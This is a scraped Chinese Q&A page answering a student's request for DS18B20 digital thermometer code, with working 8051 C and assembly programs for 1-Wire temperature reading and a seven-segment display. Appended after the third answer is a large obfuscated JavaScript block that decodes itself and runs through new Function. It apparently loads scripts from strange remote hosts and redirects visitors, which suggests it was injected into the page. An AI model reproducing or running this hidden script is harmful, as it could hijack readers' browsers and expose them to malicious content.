求文档: 单片机设计——DS1820数字温度计程序与论文 交作业啊

2025-03-03 08:25:23
推荐回答(3个)
回答1:

#include
#include
#define uchar unsigned char
#define uint unsigned int
sbit ds=P3^0;
uchar flag ;
uint temp; //参数temp一定要声明为 int 型
uchar table[]={
0xc0,0xf9,0xa4,0xb0,
0x99,0x92,0x82,0xf8,
0x80,0x90,0x88,0x83,
0xc6,0xa1,0x86,0x8e};

/*延时函数*/
void TempDelay (uchar us)
{
while(us--);
}

void delay(uint count) //延时子函数
{
uint i;
while(count)
{
i=200;
while(i>0)
i--;
count--;
}
}

/*串口初始化,波特率9600,方式1 */

/*数码管的显示 */
void display()
{ uchar bai,shi,ge;
bai=temp/100;
shi=temp%100/10;
ge=temp%100%10;

P2=0xbf;
P0=table[bai]; //显示百位
delay(1); //从0到1,有个上升沿,解除锁存,显示相应段
P0=0XFF;

P2=0xdf;
P0=table[shi]&0X7F; //显示十位
delay(1);
P0=0XFF;

P2=0xef;
P0=table[ge]; //显示个位
delay(1);
P0=0xff;
}
/*****************************************
时序:初始化时序、读时序、写时序。
所有时序都是将主机(单片机)作为主设备,单总
线器件作为从设备。而每一次命令和数据的传输
都是从主机主动启动写时序开始,如果要求单总
线器件回送数据,在进行写命令后,主机需启动
读时序完成数据接收。数据和命令的传输都是低
位在先。
初始化时序:复位脉冲 存在脉冲
读;1 或 0时序
写;1 或 0时序
只有存在脉冲信号是从18b20(从机)发出的,其
它信号都是由主机发出的。
存在脉冲:让主机(总线)知道从机(18b20)已
经做好了准备。
******************************************/

/*--------------------------------------------------------------------------------------------------------------------
初始化:检测总线控制器发出的复位脉冲
和ds18b20的任何通讯都要从初始化开始

初始化序列包括一个由总线控制器发出的复位脉冲
和跟在其后由从机发出的存在脉冲。

初始化:复位脉冲+存在脉冲

具体操作:
总线控制器发出(TX)一个复位脉冲 (一个最少保持480μs 的低电平信号),然后释放总线,
进入接收状态(RX)。单线总线由5K 上拉电阻拉到高电平。探测到I/O 引脚上的上升沿后
DS1820 等待15~60μs,然后发出存在脉冲(一个60~240μs 的低电平信号)。

具体看"倒塌 18b20"文档里的 " 单线复位脉冲时序和1-wire presence detect "的时序图
-------------------------------------------------------------------------------------------------------------------*/
void ds_reset(void)
{
ds=1;
_nop_(); //1us
ds=0;
TempDelay(80); //当总线停留在低电平超过480us,总线上所以器件都将被复位,这里//延时约530us总线停留在低电平超过480μs,总线上的所有器件都
//将被复位。
_nop_();
ds=1; //产生复位脉冲后,微处理器释放总线,让总线处于空闲状态,原因查//18b20中文资料

TempDelay(5); //释放总线后,以便从机18b20通过拉低总线来指示其是否在线,
//存在检测高电平时间:15~60us, 所以延时44us,进行 1-wire presence //detect(单线存在检测)
_nop_();
_nop_();
_nop_();
if(ds==0)
flag=1; //detect 18b20 success
else
flag=0; //detect 18b20 fail
TempDelay(20); //存在检测低电平时间:60~240us,所以延时约140us
_nop_();
_nop_();
ds=1; //再次拉高总线,让总线处于空闲状态
/**/
}

/*----------------------------------------
读/写时间隙:
DS1820 的数据读写是通过时间隙处理
位和命令字来确认信息交换。
------------------------------------------*/
bit ds_read_bit(void) //读一位
{
bit dat;
ds=0; //单片机(微处理器)将总线拉低
_nop_(); //读时隙起始于微处理器将总线拉低至少1us
ds=1; //拉低总线后接着释放总线,让从机18b20能够接管总线,输出有效数据
_nop_();
_nop_(); //小延时一下,读取18b20上的数据 ,因为从ds18b20上输出的数据
//在读"时间隙"下降沿出现15us内有效
dat=ds; //主机读从机18b20输出的数据,这些数据在读时隙的下降沿出现//15us内有效
TempDelay(10); //所有读"时间隙"必须60~120us,这里77us
return(dat); //返回有效数据
}

uchar ds_read_byte(void ) //读一字节
{

uchar value,i,j;
value=0; //一定别忘了给初值
for(i=0;i<8;i++)
{
j=ds_read_bit();
value=(j<<7)|(value>>1); //这一步的说明在一个word文档里面
}
return(value); //返回一个字节的数据
}

void ds_write_byte(uchar dat) //写一个字节
{
uchar i;
bit onebit; //一定不要忘了,onebit是一位
for(i=1;i<=8;i++)
{
onebit=dat&0x01;
dat=dat>>1;
if(onebit) //写 1
{
ds=0;
_nop_();
_nop_(); //看时序图,至少延时1us,才产生写"时间隙"
ds=1; //写时间隙开始后的15μs内允许数据线拉到高电平
TempDelay(5); //所有写时间隙必须最少持续60us
}
else //写 0
{
ds=0;
TempDelay(8); //主机要生成一个写0 时间隙,必须把数据线拉到低电平并保持至少60μs,这里64us
ds=1;
_nop_();
_nop_();
}
}
}

/*****************************************
主机(单片机)控制18B20完成温度转换要经过三个步骤:
每一次读写之前都要18B20进行复位操作,复位成功后发送
一条ROM指令,最后发送RAM指令,这样才能对DS18b20进行
预定的操作。
复位要求主CPU将数据线下拉500us,然后释放,当ds18B20
受到信号后等待16~60us,后发出60~240us的存在低脉冲,
主CPU收到此信号表示复位成功
******************************************/

/*----------------------------------------
进行温度转换:
先初始化
然后跳过ROM:跳过64位ROM地址,直接向ds18B20发温度转换命令,适合单片工作
发送温度转换命令
------------------------------------------*/

void ds18b20()
{
ds_reset();
delay(1); //约2ms
ds_write_byte(0xcc);
ds_write_byte(0x44);
}

/*----------------------------------------
获得温度:
------------------------------------------*/
uint get_temperature()
{
float wendu;
uchar a,b;
ds_reset();
delay(1); //约2ms
ds_write_byte(0xcc);
ds_write_byte(0xbe);
a=ds_read_byte();
b=ds_read_byte();
temp=b;
temp<<=8;
temp=temp|a;
wendu=temp*0.0625;
temp=wendu*10+0.5;
return temp;
}
/*----------------------------------------
读ROM
------------------------------------------*/
/*
void ds_read_rom() //这里没有用到
{
uchar a,b;
ds_reset();
delay(30);
ds_write_byte(0x33);
a=ds_read_byte();
b=ds_read_byte();
}
*/
void main()
{
uint a;

while(1)
{
ds18b20(); //12位转换时间最大为750ms
for(a=10;a>0;a--)
{get_temperature();
display( );
}
}
}

连接很简单,就在最小系统的p0口接数码管,在p3.7口接上DS18B20电路不封就可以

回答2:

; 程序功能:数字温度计

       A_BIT   EQU  20H     ;存放个位数变量

       B_BIT   EQU  21H     ;存放十位数变量

       FLAG    EQU  38H     ;DS18B20是否存在标志

       DQ      EQU  P2.5    ;DQ引脚由P2.5控制  

  MAIN:                     ;主程序标号

       ACALL  RE_TEMP      ;对传感器设置及读取 

       ACALL   TURN     ;转化温度子程序        

       ACALL DISPLAY        ;显示子程序

       JMP MAIN             ;循环                   

 

  RE_TEMP:         ;对DS18B20初始化及读取

       SETB   DQ           

       ACALL  RESET_1820    ;调用复位子程序

       JB   FLAG, ST        ;判断DS1820是否存在?

       RET                                           

 

  ST:                       ; DS18B20存在

       MOV   A,#0CCH        ;跳过ROM匹配 

       ACALL WRITE_1820     ;写入数据

       MOV  A,#44H          ;发出温度转换命令

       ACALL WRITE_1820     ;写入数据 

       ACALL  RESET_1820    ;准备读温度前先复位

       MOV  A,#0CCH         ;跳过ROM匹配

       ACALL WRITE_1820     ;写入数据

       MOV  A,#0BEH         ;发出读温度命令

       ACALL WRITE_1820     ;写入数据

       ACALL READ_1820      ;读出温度数据         

       RET                                         

  RESET_1820:  ;复位(有具体的时序要求)                       

       SETB  DQ       

       NOP

       CLR   DQ       

 ;――――――――――――

 ;主机发出延时537微秒的复位低脉冲

       MOV  R1,#3

   DLY: MOV  R0,#107

       DJNZ R0,$

       DJNZ R1,DLY

 ;――――――――――――

 ;然后拉高数据线

       SETB  DQ        

       NOP

       NOP

       NOP

 ;――――――――――――  

       MOV  R0,#25H        

   T2: JNB   DQ ,T3       ;等待DS18B20回应

       DJNZ  R0, T2

       JMP  T4          

 ;――――――――――――

   T3: SETB  FLAG      ;置标志位,表示DS1820存在

       JMP  T5

 ;――――――――――――

   T4: CLR   FLAG     ;清标志位,表示DS1820不存在     

       JMP  T7

  ;――――――――――――

   T5: MOV  R0,#117

   T6: DJNZ R0,T6           ;时序要求延时一段时间

 ;――――――――――――

   T7: SETB   DQ        

       RET                                           

 ;――――――――――――

  WRITE_1820: ;写入DS18B20(有具体的时序要求)

       MOV  R2,#8           ;一共8位数据

       CLR  C

    WR1:

       CLR  DQ            ;总线低位,开始写入  

       MOV  R3,#7

       DJNZ R3,$            ;保持16微秒以上

       RRC  A  ;把字节DATA分成8个BIT环移给C

       MOV  DQ,  C        ;写入一个BIT

       MOV  R3,#23

       DJNZ R3,$            ;等待

       SETB  DQ           ;重新释放总线

       NOP

       DJNZ R2,WR1          ;写入下一个BIT

       SETB  DQ          

       RET                                            

   READ_1820: ;将温度高位和低位从DS18B20中读出

       MOV  R4,#2           ; 读出两个字节的数据

       MOV  R1,#29H     ;低位存入29H,高位存入28h

   RE0:

       MOV R2,#8           ;数据一共有8位

   RE1:                  

       CLR C

       SETB  DQ          

       NOP

       NOP                                 

       CLR   DQ          ;读前总线保持为低               

       NOP

       NOP

       NOP

       SETB  DQ          ;开始读总线释放                 

       MOV   R3,#9

   RE2:   

       DJNZ  R3,RE2        ;延时18微妙

      MOV C, DQ         ;从总线读到一个BIT                  

      MOV R3,#23

  RE3:                    ;

      DJNZ R3,RE3         ;等待100秒

      RRC  A              ;把读得的位价值环移给A

      DJNZ  R2,RE1        ;读下一个BIT

      MOV  @R1,A

      DEC  R1

      DJNZ R4,RE0

      RET                                         

  TURN: 

      MOV  A,29H

      MOV  C,40H          ;将28中的最低位移入C

      RRC  A

      MOV  C,41H

      RRC  A

      MOV  C,42H

      RRC  A

      MOV  C,43H

      RRC  A

      MOV  29H,A

      RET                                           

  DISPLAY:   ;将29H中的十六进制数成10进制

      MOV  A,29H         

      MOV  B,#10             ;10进制/10=10进制

      DIV  AB

      MOV  B_BIT, A        ;十位在A

      MOV  A_BIT, B        ;个位在B

      MOV  DPTR,#TABLE     ;指定查表启始地址

      MOV  R0,#4

  DP1:

      MOV R1, #250          ;显示1000次

  LOOP:

      MOV A,A_BIT          ;取个位数

      MOVC A,@A+DPTR       ;查个位数的7段代码

      MOV  P0,A            ;送出个位的7段代码

      CLR  P2.3            ;开个位显示

      ACALL DELAY          ;

      SETB  P2.3

      MOV A,B_BIT          ;取十位数

      MOVC  A,@A+DPTR      ;查十位数的7段代码

      MOV  P0,A            ;送出个十位的7段代码

      CLR  P2.2            ;开十位显示

      ACALL  DELAY         ;显示1MS

      SETB  P2.2

      DJNZ  R1,LOOP        ;250次没完循环

      DJNZ  R0,DP1         ;4个250次没完循环

      RET                                         

   DELAY:  ;1ms延时

      MOV  R7, #80

      DJNZ R7,$

      RET                                           

  TABLE:       ;数码管共阳极0~9代码

      DB 0C0H,0F9H,0A4H,0B0H,99H

      DB 92H,82H,0F8H,80H,90H                       

      END

回答3:

程序与论文我这有,怎么发给你啊?我可以帮助你!!

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();